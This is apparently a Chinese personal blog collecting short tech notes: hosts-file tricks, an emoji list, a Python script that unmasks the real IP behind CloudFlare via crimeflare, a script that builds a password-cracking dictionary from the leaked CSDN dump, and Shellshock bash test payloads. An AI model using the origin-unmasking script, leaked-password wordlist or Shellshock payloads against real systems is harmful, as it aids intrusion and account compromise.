google ip

这篇文章给大家说下如何获取google 可以ip

  1. 打开这个ipdb.at 连接,就可以查看到google 的ip,测试了几个,均可正常打开。

  2. 就是github上的google全球ip库项目

  3. 获取一些现成的hosts文件(替换为本地的hosts文件)

  4. 一些进行全球ping的在线网站,可以ping出一些可用的ip

首选第一个,快捷,方便。

github for windows

由于对git for console 不熟悉,所救用github for windows的gui客户端,下载多次,均失败,究其原因,其实大家都懂的~

对于没有vpn的我而言,只能在gg下疯狂的找啊找,其他人分享的安装包自己不放心,那就只能更改hosts了~

这里说下如何寻找那个ip方法:

  • 打开 http://ping.chinaz.com/
  • 输入 github-windows.s3.amazonaws.com
  • 从结果中获取能链接的ip
  • 简单的从本机在ping 下所获取的ip
  • 挑选合适的 < 丢包少的~ 延时少的
  • 添加hosts
1
54.231.80.184 github-windows.s3.com

成功 更新 github for windows

重要的说三遍

速度超级慢

速度超级慢

速度超级慢

find the real website ip with CloudFlare service

#代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
# -*- coding : utf-8 -*-
# author : pythoner
# filename : findip
# date : 2014-08-28
# find the real website ip with CloudFlare service
# demo: findip.py xxx.com
import sys
import urllib.request
import urllib.parse
import re
if len(sys.argv)< 2:
print("Error!!!,look help 'findip.py --help' ")
elif sys.argv[1].startswith("-"):
options = sys.argv[1][2:]
if options == "version":
print("Version 0.1")
elif options == "help":
print('''This is find ip with python3\t
demo: findip.py xxx.com\t
version: findip.py --version\t
help: findip.py --help''')
else:
print("Unknown option.")
sys.exit()
else:
domina = sys.argv[1]
url = r"http://www.crimeflare.com/cgi-bin/cfsearch.cgi"
header = {"Host": "www.crimeflare.com",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Origin": "http://www.crimeflare.com",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.8 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "http://www.crimeflare.com/cfs.html",
"Accept-Encoding": "gzip,deflate",
"Accept-Language": "zh-CN,zh;q=0.8"
}
postdate = {'cfS': domina}
post = urllib.parse.urlencode(postdate).encode("utf-8")
res = urllib.request.urlopen(url, post)
data = res.read().decode("utf-8")
redata = (re.findall(r'<LI>.\S*.\S*.\S*.\S*', data))
if len(redata) == 0:
print("not find real ip")
else:
print(redata)

Url

jekyll emoji表情编码

呵呵,不太懂这个表情,自己做个备份,以备不时之需
emoji-cheat-sheet
url
如下:

:+1:      +1:
:-1:      -1:
:100:      100:
:1234:      1234:
:8ball:      8ball:
:a:      a:
:ab:      ab:
:abc:      abc:
:abcd:      abcd:
:accept:      accept:
:aerial_tramway:      aerial_tramway:
:airplane:      airplane:
:alarm_clock:      alarm_clock:
:alien:      alien:
:ambulance:      ambulance:
:anchor:      anchor:
:angel:      angel:
:anger:      anger:
:angry:      angry:
:ant:      ant:
:apple:      apple:
:aquarius:      aquarius:
:aries:      aries:
:arrow_backward:      arrow_backward:
:arrow_double_down:      arrow_double_down:
:arrow_double_up:      arrow_double_up:
:arrow_down:      arrow_down:
:arrow_down_small:      arrow_down_small:
:arrow_forward:      arrow_forward:
:arrow_heading_down:      arrow_heading_down:
:arrow_heading_up:      arrow_heading_up:
:arrow_left:      arrow_left:
:arrow_lower_left:      arrow_lower_left:
:arrow_lower_right:      arrow_lower_right:
:arrow_right:      arrow_right:
:arrow_right_hook:      arrow_right_hook:
:arrow_up:      arrow_up:
:arrow_up_down:      arrow_up_down:
:arrow_up_small:      arrow_up_small:
:arrow_upper_left:      arrow_upper_left:
:arrow_upper_right:      arrow_upper_right:
:arrows_clockwise:      arrows_clockwise:
:arrows_counterclockwise:      arrows_counterclockwise:
:art:      art:
:articulated_lorry:      articulated_lorry:
:astonished:      astonished:
:atm:      atm:
:b:      b:
:baby:      baby:
:baby_bottle:      baby_bottle:
:baby_chick:      baby_chick:
:baby_symbol:      baby_symbol:
:baggage_claim:      baggage_claim:
:balloon:      balloon:
:ballot_box_with_check:      ballot_box_with_check:
:bamboo:      bamboo:
:banana:      banana:
:bangbang:      bangbang:
:bank:      bank:
:bar_chart:      bar_chart:
:barber:      barber:
:baseball:      baseball:
:basketball:      basketball:
:bath:      bath:
:bathtub:      bathtub:
:battery:      battery:
:bear:      bear:
:beer:      beer:
:beers:      beers:
:beetle:      beetle:
:beginner:      beginner:
:bell:      bell:
:bento:      bento:
:bicyclist:      bicyclist:
:bike:      bike:
:bikini:      bikini:
:bird:      bird:
:birthday:      birthday:
:black_circle:      black_circle:
:black_joker:      black_joker:
:black_nib:      black_nib:
:blossom:      blossom:
:blowfish:      blowfish:
:blue_book:      blue_book:
:blue_car:      blue_car:
:blue_heart:      blue_heart:
:blush:      blush:
:boar:      boar:
:boat:      boat:
:bomb:      bomb:
:book:      book:
:bookmark:      bookmark:
:bookmark_tabs:      bookmark_tabs:
:books:      books:
:boot:      boot:
:bouquet:      bouquet:
:bow:      bow:
:bowling:      bowling:
:bowtie:      bowtie:
:boy:      boy:
:bread:      bread:
:bride_with_veil:      bride_with_veil:
:bridge_at_night:      bridge_at_night:
:briefcase:      briefcase:
:broken_heart:      broken_heart:
:bug:      bug:
:bulb:      bulb:
:bullettrain_front:      bullettrain_front:
:bullettrain_side:      bullettrain_side:
:bus:      bus:
:busstop:      busstop:
:bust_in_silhouette:      bust_in_silhouette:
:busts_in_silhouette:      busts_in_silhouette:
:cactus:      cactus:
:cake:      cake:
:calendar:      calendar:
:calling:      calling:
:camel:      camel:
:camera:      camera:
:cancer:      cancer:
:candy:      candy:
:capital_abcd:      capital_abcd:
:capricorn:      capricorn:
:car:      car:
:card_index:      card_index:
:carousel_horse:      carousel_horse:
:cat2:      cat2:
:cat:      cat:
:cd:      cd:
:chart:      chart:
:chart_with_downwards_trend:      chart_with_downwards_trend:
:chart_with_upwards_trend:      chart_with_upwards_trend:
:checkered_flag:      checkered_flag:
:cherries:      cherries:
:cherry_blossom:      cherry_blossom:
:chestnut:      chestnut:
:chicken:      chicken:
:children_crossing:      children_crossing:
:chocolate_bar:      chocolate_bar:
:christmas_tree:      christmas_tree:
:church:      church:
:cinema:      cinema:
:circus_tent:      circus_tent:
:city_sunrise:      city_sunrise:
:city_sunset:      city_sunset:
:cl:      cl:
:clap:      clap:
:clapper:      clapper:
:clipboard:      clipboard:
:clock1030:      clock1030:
:clock10:      clock10:
:clock1130:      clock1130:
:clock11:      clock11:
:clock1230:      clock1230:
:clock12:      clock12:
:clock130:      clock130:
:clock1:      clock1:
:clock230:      clock230:
:clock2:      clock2:
:clock330:      clock330:
:clock3:      clock3:
:clock430:      clock430:
:clock4:      clock4:
:clock530:      clock530:
:clock5:      clock5:
:clock630:      clock630:
:clock6:      clock6:
:clock730:      clock730:
:clock7:      clock7:
:clock830:      clock830:
:clock8:      clock8:
:clock930:      clock930:
:clock9:      clock9:
:closed_book:      closed_book:
:closed_lock_with_key:      closed_lock_with_key:
:closed_umbrella:      closed_umbrella:
:cloud:      cloud:
:clubs:      clubs:
:cn:      cn:
:cocktail:      cocktail:
:coffee:      coffee:
:cold_sweat:      cold_sweat:
:collision:      collision:
:computer:      computer:
:confetti_ball:      confetti_ball:
:confounded:      confounded:
:congratulations:      congratulations:
:construction:      construction:
:construction_worker:      construction_worker:
:convenience_store:      convenience_store:
:cookie:      cookie:
:cool:      cool:
:cop:      cop:
:copyright:      copyright:
:corn:      corn:
:couple:      couple:
:couple_with_heart:      couple_with_heart:
:couplekiss:      couplekiss:
:cow2:      cow2:
:cow:      cow:
:credit_card:      credit_card:
:crocodile:      crocodile:
:crossed_flags:      crossed_flags:
:crown:      crown:
:cry:      cry:
:crying_cat_face:      crying_cat_face:
:crystal_ball:      crystal_ball:
:cupid:      cupid:
:curly_loop:      curly_loop:
:currency_exchange:      currency_exchange:
:curry:      curry:
:custard:      custard:
:customs:      customs:
:cyclone:      cyclone:
:dancer:      dancer:
:dancers:      dancers:
:dango:      dango:
:dart:      dart:
:dash:      dash:
:date:      date:
:de:      de:
:deciduous_tree:      deciduous_tree:
:department_store:      department_store:
:diamond_shape_with_a_dot_inside:      diamond_shape_with_a_dot_inside:
:diamonds:      diamonds:
:disappointed:      disappointed:
:dizzy:      dizzy:
:dizzy_face:      dizzy_face:
:do_not_litter:      do_not_litter:
:dog2:      dog2:
:dog:      dog:
:dollar:      dollar:
:dolls:      dolls:
:dolphin:      dolphin:
:door:      door:
:doughnut:      doughnut:
:dragon:      dragon:
:dragon_face:      dragon_face:
:dress:      dress:
:dromedary_camel:      dromedary_camel:
:droplet:      droplet:
:dvd:      dvd:
:e-mail:      e-mail:
:ear:      ear:
:ear_of_rice:      ear_of_rice:
:earth_africa:      earth_africa:
:earth_americas:      earth_americas:
:earth_asia:      earth_asia:
:egg:      egg:
:eggplant:      eggplant:
:eight:      eight:
:eight_pointed_black_star:      eight_pointed_black_star:
:eight_spoked_asterisk:      eight_spoked_asterisk:
:electric_plug:      electric_plug:
:elephant:      elephant:
:email:      email:
:end:      end:
:envelope:      envelope:
:es:      es:
:euro:      euro:
:european_castle:      european_castle:
:european_post_office:      european_post_office:
:evergreen_tree:      evergreen_tree:
:exclamation:      exclamation:
:eyeglasses:      eyeglasses:
:eyes:      eyes:
:facepunch:      facepunch:
:factory:      factory:
:fallen_leaf:      fallen_leaf:
:family:      family:
:fast_forward:      fast_forward:
:fax:      fax:
:fearful:      fearful:
:feelsgood:      feelsgood:
:feet:      feet:
:ferris_wheel:      ferris_wheel:
:file_folder:      file_folder:
:finnadie:      finnadie:
:fire:      fire:
:fire_engine:      fire_engine:
:fireworks:      fireworks:
:first_quarter_moon:      first_quarter_moon:
:first_quarter_moon_with_face:      first_quarter_moon_with_face:
:fish:      fish:
:fish_cake:      fish_cake:
:fishing_pole_and_fish:      fishing_pole_and_fish:
:fist:      fist:
:five:      five:
:flags:      flags:
:flashlight:      flashlight:
:floppy_disk:      floppy_disk:
:flower_playing_cards:      flower_playing_cards:
:flushed:      flushed:
:foggy:      foggy:
:football:      football:
:fork_and_knife:      fork_and_knife:
:fountain:      fountain:
:four:      four:
:four_leaf_clover:      four_leaf_clover:
:fr:      fr:
:free:      free:
:fried_shrimp:      fried_shrimp:
:fries:      fries:
:frog:      frog:
:fuelpump:      fuelpump:
:full_moon:      full_moon:
:full_moon_with_face:      full_moon_with_face:
:game_die:      game_die:
:gb:      gb:
:gem:      gem:
:gemini:      gemini:
:ghost:      ghost:
:gift:      gift:
:gift_heart:      gift_heart:
:girl:      girl:
:globe_with_meridians:      globe_with_meridians:
:goat:      goat:
:goberserk:      goberserk:
:godmode:      godmode:
:golf:      golf:
:grapes:      grapes:
:green_apple:      green_apple:
:green_book:      green_book:
:green_heart:      green_heart:
:grey_exclamation:      grey_exclamation:
:grey_question:      grey_question:
:grin:      grin:
:guardsman:      guardsman:
:guitar:      guitar:
:gun:      gun:
:haircut:      haircut:
:hamburger:      hamburger:
:hammer:      hammer:
:hamster:      hamster:
:hand:      hand:
:handbag:      handbag:
:hankey:      hankey:
:hash:      hash:
:hatched_chick:      hatched_chick:
:hatching_chick:      hatching_chick:
:headphones:      headphones:
:hear_no_evil:      hear_no_evil:
:heart:      heart:
:heart_decoration:      heart_decoration:
:heart_eyes:      heart_eyes:
:heart_eyes_cat:      heart_eyes_cat:
:heartbeat:      heartbeat:
:heartpulse:      heartpulse:
:hearts:      hearts:
:heavy_check_mark:      heavy_check_mark:
:heavy_division_sign:      heavy_division_sign:
:heavy_dollar_sign:      heavy_dollar_sign:
:heavy_exclamation_mark:      heavy_exclamation_mark:
:heavy_minus_sign:      heavy_minus_sign:
:heavy_multiplication_x:      heavy_multiplication_x:
:heavy_plus_sign:      heavy_plus_sign:
:helicopter:      helicopter:
:herb:      herb:
:hibiscus:      hibiscus:
:high_brightness:      high_brightness:
:high_heel:      high_heel:
:hocho:      hocho:
:honey_pot:      honey_pot:
:honeybee:      honeybee:
:horse:      horse:
:horse_racing:      horse_racing:
:hospital:      hospital:
:hotel:      hotel:
:hotsprings:      hotsprings:
:hourglass:      hourglass:
:house:      house:
:hurtrealbad:      hurtrealbad:
:ice_cream:      ice_cream:
:icecream:      icecream:
:id:      id:
:ideograph_advantage:      ideograph_advantage:
:imp:      imp:
:inbox_tray:      inbox_tray:
:incoming_envelope:      incoming_envelope:
:information_desk_person:      information_desk_person:
:information_source:      information_source:
:innocent:      innocent:
:interrobang:      interrobang:
:iphone:      iphone:
:it:      it:
:izakaya_lantern:      izakaya_lantern:
:jack_o_lantern:      jack_o_lantern:
:japan:      japan:
:japanese_castle:      japanese_castle:
:japanese_goblin:      japanese_goblin:
:japanese_ogre:      japanese_ogre:
:jeans:      jeans:
:joy:      joy:
:joy_cat:      joy_cat:
:jp:      jp:
:key:      key:
:keycap_ten:      keycap_ten:
:kimono:      kimono:
:kiss:      kiss:
:kissing_cat:      kissing_cat:
:kissing_face:      kissing_face:
:kissing_heart:      kissing_heart:
:koala:      koala:
:koko:      koko:
:kr:      kr:
:large_blue_circle:      large_blue_circle:
:large_blue_diamond:      large_blue_diamond:
:large_orange_diamond:      large_orange_diamond:
:last_quarter_moon:      last_quarter_moon:
:last_quarter_moon_with_face:      last_quarter_moon_with_face:
:laughing:      laughing:
:leaves:      leaves:
:ledger:      ledger:
:left_luggage:      left_luggage:
:left_right_arrow:      left_right_arrow:
:leftwards_arrow_with_hook:      leftwards_arrow_with_hook:
:lemon:      lemon:
:leo:      leo:
:leopard:      leopard:
:libra:      libra:
:light_rail:      light_rail:
:link:      link:
:lips:      lips:
:lipstick:      lipstick:
:lock:      lock:
:lock_with_ink_pen:      lock_with_ink_pen:
:lollipop:      lollipop:
:loop:      loop:
:loudspeaker:      loudspeaker:
:love_hotel:      love_hotel:
:love_letter:      love_letter:
:low_brightness:      low_brightness:
:m:      m:
:mag:      mag:
:mag_right:      mag_right:
:mahjong:      mahjong:
:mailbox:      mailbox:
:mailbox_closed:      mailbox_closed:
:mailbox_with_mail:      mailbox_with_mail:
:mailbox_with_no_mail:      mailbox_with_no_mail:
:man:      man:
:man_with_gua_pi_mao:      man_with_gua_pi_mao:
:man_with_turban:      man_with_turban:
:mans_shoe:      mans_shoe:
:maple_leaf:      maple_leaf:
:mask:      mask:
:massage:      massage:
:meat_on_bone:      meat_on_bone:
:mega:      mega:
:melon:      melon:
:memo:      memo:
:mens:      mens:
:metal:      metal:
:metro:      metro:
:microphone:      microphone:
:microscope:      microscope:
:milky_way:      milky_way:
:minibus:      minibus:
:minidisc:      minidisc:
:mobile_phone_off:      mobile_phone_off:
:money_with_wings:      money_with_wings:
:moneybag:      moneybag:
:monkey:      monkey:
:monkey_face:      monkey_face:
:monorail:      monorail:
:moon:      moon:
:mortar_board:      mortar_board:
:mount_fuji:      mount_fuji:
:mountain_bicyclist:      mountain_bicyclist:
:mountain_cableway:      mountain_cableway:
:mountain_railway:      mountain_railway:
:mouse2:      mouse2:
:mouse:      mouse:
:movie_camera:      movie_camera:
:moyai:      moyai:
:muscle:      muscle:
:mushroom:      mushroom:
:musical_keyboard:      musical_keyboard:
:musical_note:      musical_note:
:musical_score:      musical_score:
:mute:      mute:
:nail_care:      nail_care:
:name_badge:      name_badge:
:neckbeard:      neckbeard:
:necktie:      necktie:
:negative_squared_cross_mark:      negative_squared_cross_mark:
:neutral_face:      neutral_face:
:new:      new:
:new_moon:      new_moon:
:new_moon_with_face:      new_moon_with_face:
:newspaper:      newspaper:
:ng:      ng:
:nine:      nine:
:no_bell:      no_bell:
:no_bicycles:      no_bicycles:
:no_entry:      no_entry:
:no_entry_sign:      no_entry_sign:
:no_good:      no_good:
:no_mobile_phones:      no_mobile_phones:
:no_mouth:      no_mouth:
:no_pedestrians:      no_pedestrians:
:no_smoking:      no_smoking:
:non-potable_water:      non-potable_water:
:nose:      nose:
:notebook:      notebook:
:notebook_with_decorative_cover:      notebook_with_decorative_cover:
:notes:      notes:
:nut_and_bolt:      nut_and_bolt:
:o2:      o2:
:o:      o:
:ocean:      ocean:
:octocat:      octocat:
:octopus:      octopus:
:oden:      oden:
:office:      office:
:ok:      ok:
:ok_hand:      ok_hand:
:ok_woman:      ok_woman:
:older_man:      older_man:
:older_woman:      older_woman:
:on:      on:
:oncoming_automobile:      oncoming_automobile:
:oncoming_bus:      oncoming_bus:
:oncoming_police_car:      oncoming_police_car:
:oncoming_taxi:      oncoming_taxi:
:one:      one:
:open_file_folder:      open_file_folder:
:open_hands:      open_hands:
:ophiuchus:      ophiuchus:
:orange_book:      orange_book:
:outbox_tray:      outbox_tray:
:ox:      ox:
:page_facing_up:      page_facing_up:
:page_with_curl:      page_with_curl:
:pager:      pager:
:palm_tree:      palm_tree:
:panda_face:      panda_face:
:paperclip:      paperclip:
:parking:      parking:
:part_alternation_mark:      part_alternation_mark:
:partly_sunny:      partly_sunny:
:passport_control:      passport_control:
:paw_prints:      paw_prints:
:peach:      peach:
:pear:      pear:
:pencil2:      pencil2:
:pencil:      pencil:
:penguin:      penguin:
:pensive:      pensive:
:performing_arts:      performing_arts:
:persevere:      persevere:
:person_frowning:      person_frowning:
:person_with_blond_hair:      person_with_blond_hair:
:person_with_pouting_face:      person_with_pouting_face:
:phone:      phone:
:pig2:      pig2:
:pig:      pig:
:pig_nose:      pig_nose:
:pill:      pill:
:pineapple:      pineapple:
:pisces:      pisces:
:pizza:      pizza:
:point_down:      point_down:
:point_left:      point_left:
:point_right:      point_right:
:point_up:      point_up:
:point_up_2:      point_up_2:
:police_car:      police_car:
:poodle:      poodle:
:poop:      poop:
:post_office:      post_office:
:postal_horn:      postal_horn:
:postbox:      postbox:
:potable_water:      potable_water:
:pouch:      pouch:
:poultry_leg:      poultry_leg:
:pound:      pound:
:pouting_cat:      pouting_cat:
:pray:      pray:
:princess:      princess:
:punch:      punch:
:purple_heart:      purple_heart:
:purse:      purse:
:pushpin:      pushpin:
:put_litter_in_its_place:      put_litter_in_its_place:
:question:      question:
:rabbit2:      rabbit2:
:rabbit:      rabbit:
:racehorse:      racehorse:
:radio:      radio:
:radio_button:      radio_button:
:rage1:      rage1:
:rage2:      rage2:
:rage3:      rage3:
:rage4:      rage4:
:rage:      rage:
:railway_car:      railway_car:
:rainbow:      rainbow:
:raised_hand:      raised_hand:
:raised_hands:      raised_hands:
:ram:      ram:
:ramen:      ramen:
:rat:      rat:
:recycle:      recycle:
:red_car:      red_car:
:red_circle:      red_circle:
:registered:      registered:
:relaxed:      relaxed:
:relieved:      relieved:
:repeat:      repeat:
:repeat_one:      repeat_one:
:restroom:      restroom:
:revolving_hearts:      revolving_hearts:
:rewind:      rewind:
:ribbon:      ribbon:
:rice:      rice:
:rice_ball:      rice_ball:
:rice_cracker:      rice_cracker:
:rice_scene:      rice_scene:
:ring:      ring:
:rocket:      rocket:
:roller_coaster:      roller_coaster:
:rooster:      rooster:
:rose:      rose:
:rotating_light:      rotating_light:
:round_pushpin:      round_pushpin:
:rowboat:      rowboat:
:ru:      ru:
:rugby_football:      rugby_football:
:runner:      runner:
:running:      running:
:running_shirt_with_sash:      running_shirt_with_sash:
:sa:      sa:
:sagittarius:      sagittarius:
:sailboat:      sailboat:
:sake:      sake:
:sandal:      sandal:
:santa:      santa:
:satellite:      satellite:
:satisfied:      satisfied:
:saxophone:      saxophone:
:school:      school:
:school_satchel:      school_satchel:
:scissors:      scissors:
:scorpius:      scorpius:
:scream:      scream:
:scream_cat:      scream_cat:
:scroll:      scroll:
:seat:      seat:
:secret:      secret:
:see_no_evil:      see_no_evil:
:seedling:      seedling:
:seven:      seven:
:shaved_ice:      shaved_ice:
:sheep:      sheep:
:shell:      shell:
:ship:      ship:
:shipit:      shipit:
:shirt:      shirt:
:shit:      shit:
:shoe:      shoe:
:shower:      shower:
:signal_strength:      signal_strength:
:six:      six:
:six_pointed_star:      six_pointed_star:
:ski:      ski:
:skull:      skull:
:sleepy:      sleepy:
:slot_machine:      slot_machine:
:small_blue_diamond:      small_blue_diamond:
:small_orange_diamond:      small_orange_diamond:
:small_red_triangle:      small_red_triangle:
:small_red_triangle_down:      small_red_triangle_down:
:smile:      smile:
:smile_cat:      smile_cat:
:smiley:      smiley:
:smiley_cat:      smiley_cat:
:smiling_imp:      smiling_imp:
:smirk:      smirk:
:smirk_cat:      smirk_cat:
:smoking:      smoking:
:snail:      snail:
:snake:      snake:
:snowboarder:      snowboarder:
:snowflake:      snowflake:
:snowman:      snowman:
:sob:      sob:
:soccer:      soccer:
:soon:      soon:
:sos:      sos:
:sound:      sound:
:space_invader:      space_invader:
:spades:      spades:
:spaghetti:      spaghetti:
:sparkler:      sparkler:
:sparkles:      sparkles:
:speak_no_evil:      speak_no_evil:
:speaker:      speaker:
:speech_balloon:      speech_balloon:
:speedboat:      speedboat:
:squirrel:      squirrel:
:star2:      star2:
:star:      star:
:stars:      stars:
:station:      station:
:statue_of_liberty:      statue_of_liberty:
:steam_locomotive:      steam_locomotive:
:stew:      stew:
:straight_ruler:      straight_ruler:
:strawberry:      strawberry:
:sun_with_face:      sun_with_face:
:sunflower:      sunflower:
:sunglasses:      sunglasses:
:sunny:      sunny:
:sunrise:      sunrise:
:sunrise_over_mountains:      sunrise_over_mountains:
:surfer:      surfer:
:sushi:      sushi:
:suspect:      suspect:
:suspension_railway:      suspension_railway:
:sweat:      sweat:
:sweat_drops:      sweat_drops:
:sweat_smile:      sweat_smile:
:sweet_potato:      sweet_potato:
:swimmer:      swimmer:
:symbols:      symbols:
:syringe:      syringe:
:tada:      tada:
:tanabata_tree:      tanabata_tree:
:tangerine:      tangerine:
:taurus:      taurus:
:taxi:      taxi:
:tea:      tea:
:telephone:      telephone:
:telephone_receiver:      telephone_receiver:
:telescope:      telescope:
:tennis:      tennis:
:tent:      tent:
:thought_balloon:      thought_balloon:
:three:      three:
:thumbsdown:      thumbsdown:
:thumbsup:      thumbsup:
:ticket:      ticket:
:tiger2:      tiger2:
:tiger:      tiger:
:tired_face:      tired_face:
:tm:      tm:
:toilet:      toilet:
:tokyo_tower:      tokyo_tower:
:tomato:      tomato:
:tongue2:      tongue2:
:tongue:      tongue:
:top:      top:
:tophat:      tophat:
:tractor:      tractor:
:traffic_light:      traffic_light:
:train2:      train2:
:train:      train:
:tram:      tram:
:triangular_flag_on_post:      triangular_flag_on_post:
:triangular_ruler:      triangular_ruler:
:trident:      trident:
:triumph:      triumph:
:trolleybus:      trolleybus:
:trollface:      trollface:
:trophy:      trophy:
:tropical_drink:      tropical_drink:
:tropical_fish:      tropical_fish:
:truck:      truck:
:trumpet:      trumpet:
:tshirt:      tshirt:
:tulip:      tulip:
:turtle:      turtle:
:tv:      tv:
:twisted_rightwards_arrows:      twisted_rightwards_arrows:
:two:      two:
:two_hearts:      two_hearts:
:two_men_holding_hands:      two_men_holding_hands:
:two_women_holding_hands:      two_women_holding_hands:
:u5272:      u5272:
:u5408:      u5408:
:u55b6:      u55b6:
:u6307:      u6307:
:u6708:      u6708:
:u6709:      u6709:
:u6e80:      u6e80:
:u7121:      u7121:
:u7533:      u7533:
:u7981:      u7981:
:u7a7a:      u7a7a:
:uk:      uk:
:umbrella:      umbrella:
:unamused:      unamused:
:underage:      underage:
:unlock:      unlock:
:up:      up:
:us:      us:
:v:      v:
:vertical_traffic_light:      vertical_traffic_light:
:vhs:      vhs:
:vibration_mode:      vibration_mode:
:video_camera:      video_camera:
:video_game:      video_game:
:violin:      violin:
:virgo:      virgo:
:volcano:      volcano:
:vs:      vs:
:walking:      walking:
:waning_crescent_moon:      waning_crescent_moon:
:waning_gibbous_moon:      waning_gibbous_moon:
:warning:      warning:
:watch:      watch:
:water_buffalo:      water_buffalo:
:watermelon:      watermelon:
:wave:      wave:
:wavy_dash:      wavy_dash:
:waxing_crescent_moon:      waxing_crescent_moon:
:waxing_gibbous_moon:      waxing_gibbous_moon:
:wc:      wc:
:weary:      weary:
:wedding:      wedding:
:whale2:      whale2:
:whale:      whale:
:wheelchair:      wheelchair:
:white_circle:      white_circle:
:white_flower:      white_flower:
:white_square:      white_square:
:wind_chime:      wind_chime:
:wine_glass:      wine_glass:
:wink2:      wink2:
:wink:      wink:
:wolf:      wolf:
:woman:      woman:
:womans_clothes:      womans_clothes:
:womans_hat:      womans_hat:
:womens:      womens:
:wrench:      wrench:
:x:      x:
:yellow_heart:      yellow_heart:
:yen:      yen:
:yum:      yum:
:zap:      zap:
:zero:      zero:
:zzz:      zzz:

csdn top 5K password dict

由于是菜鸟,所以就直接引用前辈已经发的文章了连接地址

  • 首先提取csdn的密码部分

文件的内容都是按照

# password # 123@email.com```这样的格式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
cut -f 3 -d " " csdnpasswd > words.txt
提取csdnpasswd文件里每行的第三部分,以" "为分隔符,把结果放到words.txt 文件里
- 统计words.txt里的密码出现次数并排序并写入temp.txt
取出现次数最多的前10000的密码
cat words.txt | sort | uniq -c | sort -k1,1nr | head -10000 >temp.txt
[此命令连接](http://blog.sina.com.cn/s/blog_5dce657a01012ddi.html)
sort: 对单词进行排序
uniq -c: 显示唯一的行,并在每行行首加上本行在文件中出现的次数
sort -k1,1nr: 按照第一个字段,数值排序,且为逆序
head -10000: 取前10000行数据(即top 1W 的password)
- 删除密码前出现的次数
这pass.txt 就是最终的密码字典~ :wink:
cat temp.txt | awk '{print $2}' > pass.txt
能力有限,勿笑
在给一个sh脚本吧,也就是基于上面代码的合体 :sweat_smile:
###pw.sh
```bash
#!/bin/sh
cut -f 3 -d " " csdnpasswd > words.txt
cat words.txt | sort | uniq -c | sort -k1,1nr | head -10000 >temp.txt
cat temp.txt | awk '{print $2}' > pass.txt
rm -rf words.txt temp.txt
echo "success"

csdnpasswd 为密码文件名,此脚本请放在csdnpasswd同目录,若pw.sh不能运行,请chmod +x pw.sh
若要统计别的密码文件,请对照修改提取密码部分的代码
此代码在 kali 1.09a上成功运行

bash-exp

Exploit 1 (CVE-2014-6271)

There are a few different ways to test if your system is vulnerable to shellshock. Try running the following command in a shell.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If you see “vulnerable” you need to update bash. Otherwise, you should be good to go.

Exploit 2 (CVE-2014-7169)

Even after upgrading bash you may still be vulnerable to this exploit. Try running the following code.

env X='() { (shellshocker.net)=>\' bash -c "echo date"; cat echo ; rm -f echo

If the above command outputs the current date (it may also show errors), you are still vulnerable.

Exploit 3 (???)

Here is another variation of the exploit. Please leave a comment below if you know the CVE of this exploit.

env -i X=' () { }; echo hello' bash -c 'date'

If the above command outputs “hello”, you are vulnerable.

Exploit 4 (CVE-2014-7186)

bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"

Exploit 5 (CVE-2014-7187)

(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

Exploit 6 (CVE-2014-6278)

shellshocker='() { echo vulnerable; }' bash -c shellshocker

Exploit 7 (CVE-2014-6277),测试方法:

bash -c "f() { x() { _;}; x() { _;} <<a; }" 2>/dev/null || echo vulnerable

poc:http://shellshock.notsosecure.com

,